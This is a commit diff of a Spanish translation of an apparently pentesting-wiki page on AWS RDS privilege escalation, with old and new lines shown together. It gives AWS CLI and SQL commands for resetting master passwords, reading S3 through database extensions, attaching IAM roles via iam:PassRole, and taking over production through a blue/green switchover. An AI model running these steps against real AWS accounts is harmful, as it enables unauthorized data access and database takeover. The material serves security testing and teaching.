Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2026-01-13 13:29:50 +00:00
parent c409100cac
commit 37a277ee23
@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
## RDS - Relational Database Service
## RDS - Servicio de Base de Datos Relacional
Para más información sobre RDS, consulta:
Para más información sobre RDS consulta:
{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
@@ -12,7 +12,7 @@ Para más información sobre RDS, consulta:
### `rds:ModifyDBInstance`
Con ese permiso, un atacante puede **modificar la contraseña del usuario principal**, y las credenciales de acceso dentro de la base de datos:
Con ese permiso, un atacante puede **modificar la contraseña del usuario maestro**, y el login dentro de la base de datos:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances
@@ -27,28 +27,28 @@ aws rds modify-db-instance \
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Necesitarás poder **ponerte en contacto con la base de datos** (por lo general sólo son accesibles desde redes internas).
> Necesitarás poder **contactar con la base de datos** (normalmente solo son accesibles desde redes internas).
**Potential Impact:** Encontrar información sensible dentro de las bases de datos.
**Impacto potencial:** Encontrar información sensible dentro de las bases de datos.
### rds-db:connect
According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.
Según la [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) un usuario con este permiso podría conectarse a la instancia de la base de datos.
### Abusar de permisos IAM del Role de RDS
### Abuse RDS Role IAM permissions
#### Postgresql (Aurora)
> [!TIP]
> Si ejecutas **`SELECT datname FROM pg_database;`** y encuentras una base de datos llamada **`rdsadmin`**, sabes que estás dentro de una **AWS postgresql database**.
> Si al ejecutar **`SELECT datname FROM pg_database;`** encuentras una base de datos llamada **`rdsadmin`**, sabes que estás dentro de una **AWS postgresql database**.
Primero puedes comprobar si esta base de datos se ha usado para acceder a algún otro servicio de AWS. Puedes verificarlo mirando las extensiones instaladas:
Primero puedes comprobar si esta base de datos se ha utilizado para acceder a cualquier otro servicio de AWS. Puedes comprobarlo mirando las extensiones instaladas:
```sql
SELECT * FROM pg_extension;
```
Si encuentras algo como **`aws_s3`**, puedes asumir que esta base de datos tiene **algún tipo de acceso a S3** (hay otras extensiones como **`aws_ml`** y **`aws_lambda`**).
Si encuentras algo como **`aws_s3`** puedes asumir que esta base de datos tiene **algún tipo de acceso a S3** (hay otras extensiones como **`aws_ml`** y **`aws_lambda`**).
Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`**, puedes ver ahí si el **cluster tiene alguna IAM Role adjunta** en el campo **`AssociatedRoles`**. Si la hay, puedes asumir que la base de datos fue **preparada para acceder a otros servicios de AWS**. Basándote en el **nombre del rol** (o si puedes obtener los **permisos** del rol) podrías **adivinar** qué acceso extra tiene la base de datos.
Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes ver allí si el **cluster tiene algún IAM Role adjunto** en el campo **`AssociatedRoles`**. Si lo tiene, puedes asumir que la base de datos fue **preparada para acceder a otros servicios de AWS**. Basándote en el **nombre del role** (o si puedes obtener los **permisos** del role) podrías **adivinar** qué acceso adicional tiene la base de datos.
Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con:
```sql
@@ -71,7 +71,7 @@ SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
```
Si tuvieras **credenciales AWS sin procesar**, también podrías usarlas para acceder a datos de S3 con:
Si tuvieras **credenciales AWS sin procesar** también podrías usarlas para acceder a datos de S3 con:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
@@ -80,16 +80,16 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **doesn't need to change any parameter group variable** para poder acceder a S3.
> Postgresql **no necesita cambiar ninguna variable del parameter group** para poder acceder a S3.
#### Mysql (Aurora)
> [!TIP]
> Dentro de un mysql, si ejecutas la consulta **`SELECT User, Host FROM mysql.user;`** y existe un usuario llamado **`rdsadmin`**, puedes asumir que estás dentro de una **AWS RDS mysql db**.
Dentro del mysql ejecuta **`show variables;`** y si las variables como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** tienen valores, puedes asumir que la base de datos está preparada para acceder a datos en S3.
Dentro del mysql ejecuta **`show variables;`** y si variables como **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** tienen valores, puedes asumir que la base de datos está preparada para acceder a datos en S3.
Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes comprobar si el cluster tiene algún rol asociado (**associated role**), lo cual suele significar acceso a servicios de AWS).
Además, si tienes permisos para ejecutar **`aws rds describe-db-clusters`** puedes comprobar si el cluster tiene algún **rol asociado**, lo que normalmente significa acceso a servicios de AWS).
Ahora, para **leer un archivo dentro de un bucket** necesitas conocer la ruta completa. Puedes leerlo con:
```sql
@@ -100,16 +100,16 @@ DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`
Un atacante con los permisos `rds:AddRoleToDBCluster` e `iam:PassRole` puede **añadir un rol especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.
Un atacante con los permisos `rds:AddRoleToDBCluster` y `iam:PassRole` puede **agregar un role especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Potential Impact**: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.\
Tenga en cuenta que algunas DBs requieren configuraciones adicionales, como Mysql, que también necesita especificar el role ARN en los grupos de parámetros.
**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.\
Ten en cuenta que algunas DBs requieren configuraciones adicionales, como Mysql, que también necesita especificar el role ARN en los parameter groups.
### `rds:CreateDBInstance`
Con solo este permiso, un atacante podría crear una **nueva instancia dentro de un cluster** que ya existe y tiene un **IAM role** adjunto. No podrá cambiar la contraseña del master user, pero podría exponer la nueva instancia de base de datos a Internet:
Con solo este permiso un atacante podría crear una **nueva instancia dentro de un clúster** que ya existe y tiene un **IAM role** adjunto. No podrá cambiar la contraseña del usuario maestro, pero podría exponer la nueva instancia de base de datos a Internet:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
@@ -124,28 +124,48 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \
> [!NOTE]
> TODO: Probar
Un atacante con los permisos `rds:CreateDBInstance` y `iam:PassRole` puede **crear una nueva instancia RDS con un rol especificado adjunto**. El atacante podría entonces potencialmente **acceder a datos sensibles** o modificar los datos dentro de la instancia.
Un atacante con los permisos `rds:CreateDBInstance` e `iam:PassRole` puede **crear una nueva instancia RDS con un rol especificado adjunto**. El atacante puede entonces potencialmente **acceder a datos sensibles** o modificar los datos dentro de la instancia.
> [!WARNING]
> Algunos requisitos del role/instance-profile para adjuntar (desde [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html")):
> Algunos requisitos del role/instance-profile para adjuntar (según [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):
> - El profile debe existir en tu cuenta.
> - El profile debe tener un IAM role que Amazon EC2 tenga permisos para asumir.
> - El nombre del instance profile y el nombre del IAM role asociado deben comenzar con el prefijo `AWSRDSCustom` .
> - El perfil debe existir en tu cuenta.
> - El perfil debe tener un rol de IAM que Amazon EC2 tenga permisos para asumir.
> - El nombre del perfil de instancia y el nombre del rol IAM asociado deben comenzar con el prefijo `AWSRDSCustom`.
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia de RDS.
**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas a los datos en la instancia RDS.
### `rds:AddRoleToDBInstance`, `iam:PassRole`
Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **añadir un role especificado a una instancia de RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.
Un atacante con los permisos `rds:AddRoleToDBInstance` y `iam:PassRole` puede **añadir un rol especificado a una instancia RDS existente**. Esto podría permitir al atacante **acceder a datos sensibles** o modificar los datos dentro de la instancia.
> [!WARNING]
> La instancia de DB debe estar fuera de un cluster para esto
> La instancia DB debe estar fuera de un clúster para esto
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas de los datos en la instancia RDS.
**Impacto potencial**: Acceso a datos sensibles o modificaciones no autorizadas en los datos de la instancia RDS.
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
Un atacante con estos permisos puede clonar una base de datos de producción (Blue), asignar un rol IAM de alto privilegio al clon (Green), y luego usar switchover para reemplazar el entorno de producción. Esto permite al atacante elevar los privilegios de la base de datos y obtener acceso no autorizado a otros recursos de AWS.
```bash
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
```
**Impacto Potencial**: Toma completa del entorno de base de datos de producción. Después de la conmutación, la base de datos opera con privilegios elevados, permitiendo el acceso no autorizado a otros servicios de AWS (p. ej., S3, Lambda, Secrets Manager) desde dentro de la base de datos.
{{#include ../../../../banners/hacktricks-training.md}}